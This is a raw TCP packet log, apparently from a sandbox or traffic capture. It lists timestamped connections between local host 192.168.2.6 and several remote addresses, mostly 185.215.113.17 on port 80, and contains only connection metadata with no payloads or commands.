Sep 27, 2024 16:18:27.856679916 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856690884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856700897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856710911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856710911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856712103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856720924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856730938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856741905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856751919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856753111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856753111 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856761932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856772900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856785059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856795073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856797934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856797934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856806040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856817007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.856834888 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.856862068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857079029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857089996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857100010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857110977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857151985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857151985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857168913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857212067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857223988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857234001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857240915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857240915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857266903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857369900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857389927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857407093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857412100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857417107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857433081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857434034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857443094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857454062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857455969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857485056 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857517004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857719898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857768059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857808113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857820988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857831955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857842922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857853889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857863903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.857906103 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857907057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.857907057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858172894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858181953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858194113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858206987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858231068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858241081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858251095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858257055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858257055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858262062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858268976 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858278990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858330011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858347893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858362913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858375072 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858382940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858397007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858412027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858422995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858428955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858433962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858443022 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858444929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858455896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.858494043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858536959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858741999 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.858959913 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860188961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860214949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860232115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860245943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860249043 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860261917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860286951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860286951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860297918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860310078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860320091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860332966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.860369921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860369921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860369921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860615969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.860749960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.901488066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901499987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901510954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901521921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901532888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901545048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.901546001 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901560068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901571989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.901607990 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.901632071 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902517080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902563095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902585983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902602911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902631998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902631998 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902654886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902666092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902676105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902687073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902697086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.902715921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902715921 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.902760983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.903219938 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903232098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903243065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903275013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.903310061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903317928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.903326035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903337002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903347969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.903379917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.903379917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.903417110 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904170990 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904187918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904197931 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904234886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904234886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904242039 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904253006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904263973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904304981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904304981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904304981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904336929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904373884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904385090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904392958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904422045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904478073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904488087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904499054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904510021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904520988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904521942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904531002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904541016 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904542923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.904575109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.904632092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905277967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905294895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905303955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905339003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905339003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905339956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905363083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905376911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905392885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905404091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905416012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.905420065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905421019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905478954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.905478954 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906840086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906853914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906864882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906877041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906884909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906893015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906913042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906925917 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906955004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906955004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906955004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906965971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906975985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.906987906 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.906991959 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907004118 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907006979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907022953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907032013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907033920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907047033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907058954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907069921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907078981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907154083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907154083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907167912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907181025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907191992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907202005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907212973 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907215118 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907223940 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907233953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907244921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907262087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907262087 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907337904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907639980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907654047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907670975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907680988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907696009 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907706022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907707930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907707930 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907738924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907758951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.907764912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:27.907824039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.960769892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:27.965686083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.052216053 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.054518938 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:28.059391975 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:28.092833042 CEST	80	49617	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:28.092900038 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:28.104331970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.104631901 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.109381914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.109488010 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.109514952 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.109568119 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.110666037 CEST	49620	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:28.115427017 CEST	80	49620	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:28.182197094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182257891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182305098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182388067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182409048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182420969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182430983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182432890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182459116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182460070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182471991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182498932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182554007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182564974 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182564974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182574987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182585955 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182596922 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182609081 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182624102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182657003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182693005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182729006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182739019 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182742119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182776928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182795048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182806015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182816982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182832003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182833910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182845116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182851076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182854891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182873964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182904005 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182904959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.182981014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.182992935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183003902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183015108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183027029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183031082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183078051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183088064 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183098078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183109045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183123112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183123112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183123112 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183126926 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183139086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183149099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183173895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183173895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183247089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183603048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183623075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183631897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183636904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183650970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183660984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183686018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183686018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183687925 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183698893 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183726072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183727980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183737040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183742046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183764935 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183769941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183780909 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183799982 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183861017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183871984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183881998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183892965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183898926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183898926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183903933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183912992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183933020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:28.183938980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:28.183947086 CEST	80	49613	185.215.113.17	192.168.2.6
